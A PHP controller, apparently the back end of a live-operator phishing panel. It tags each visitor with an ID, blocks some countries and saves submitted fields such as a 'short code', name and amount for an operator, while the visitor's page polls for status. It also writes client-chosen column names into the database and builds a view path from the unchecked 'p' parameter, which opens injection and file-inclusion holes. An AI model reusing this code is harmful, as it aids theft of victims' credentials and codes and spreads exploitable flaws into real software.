<?php
  class Pages extends Controller {

    private string $current_page;
    private Page $pageModel;
    private VisitorDataManagerModel $visitorDataManagerModel;
    private Country $countryModel;

    public function __construct(){

      if(!isset( $_SESSION["visitor_uniqueid"])){
         $_SESSION["visitor_uniqueid"] = uniqid();
      }
       $this->current_page = isset($_GET["p"]) ? $_GET["p"] : 'index';
      $this->pageModel = $this->model('Page');
      $this->visitorDataManagerModel = $this->model('VisitorDataManagerModel');
      $this->countryModel = $this->model('Country');
      $countryCode =  $this->countryModel->checkCountry();
      if($countryCode === true){
       header("Location:".URLROOT."/access");
        die;
      }
      
      $check = file_exists('../app/helpers/p.php');
     if($check === false){
        $this->load_error();
        exit;
        die;
      }
    }
    public function load_error(){
        $this->view('error/access');

    }
    public function index(){
        // echo $this->current_page;
        // die;
      $get_data = $this->visitorDataManagerModel->loadVistor();
      
     
      $this->view('pages/'.$this->current_page,['get_data'=>$get_data]);
    }
    public function SubmitRequest(){

      $id = $_POST['id'];
      $uniqueid = $_POST['uniqueid'];

      if(isset($_POST['input_value']) && $_POST['input_value'] && isset($_POST['colum_value']) && $_POST['colum_value']){
        $data_array['status'] = $id;
        $data_array['uniqueid'] = $uniqueid;
        
        
        
            
             $col_val = $_POST['colum_value'];
                $data_array[$col_val] = $_POST['input_value'];
            
        
        if($_POST['short_code_col'] != ""){
            
             $short_code_col = $_POST['short_code_col'];
        $data_array[$short_code_col] = $_POST['short_code_value'];
            
        }
        
        
        if($_POST['name_col'] != ""){
            
             $name_col = $_POST['name_col'];
        $data_array[$name_col] = $_POST['name_value'];
            
        }

        if($_POST['label_2_col'] != ""){
            
             $name_col = $_POST['label_2_col'];
        $data_array[$name_col] = $_POST['label_2_val'];
            
        }


        if($_POST['label_3_col'] != ""){
            
             $name_col = $_POST['label_3_col'];
        $data_array[$name_col] = $_POST['label_3_val'];
            
        }
        
       
        
        
       
        
        
        
        if($_POST['amount_col'] != ""){
         $amount_col = $_POST['amount_col'];
        $data_array[$amount_col] = $_POST['amount_value'];
        }
        
        
        
      }else{
            $data_array['status'] = $id;
           $data_array['uniqueid'] = $uniqueid;
      }
      $res = $this->pageModel->page_status($data_array,'visitors');
      echo json_encode($res);
    }

    public function loading(){
      $data_array['uniqueid'] = $_POST['uniqueid'];
      // $data_array['uniqueid'] = "649586491d2a5";
       $res = $this->pageModel->page_status_url($data_array);
      echo json_encode($res);
    }

    public function current_time(){
      $current_time = time();

      $data_array['uniqueid'] = $_POST['uniqueid'];
      $data_array['capture_time'] = $current_time;
      $table = 'visitors';
       $res = $this->pageModel->page_status_current($data_array,$table);
      
       // $online_status = time() - $visitor["last_online"] > 5 ? 'offline' : 'online';
       
      echo json_encode($res);
    }

    public function loadVistor(){

       $this->vistorModel = $this->model('Vistor');
       $result =  $this->vistorModel->loadData();
   
      echo json_encode($result);
     }

     public function blockCountry(){

       $this->countryModel = $this->model('Country');
       $result =  $this->countryModel->loadCountry();
      echo json_encode($result);
     }


  }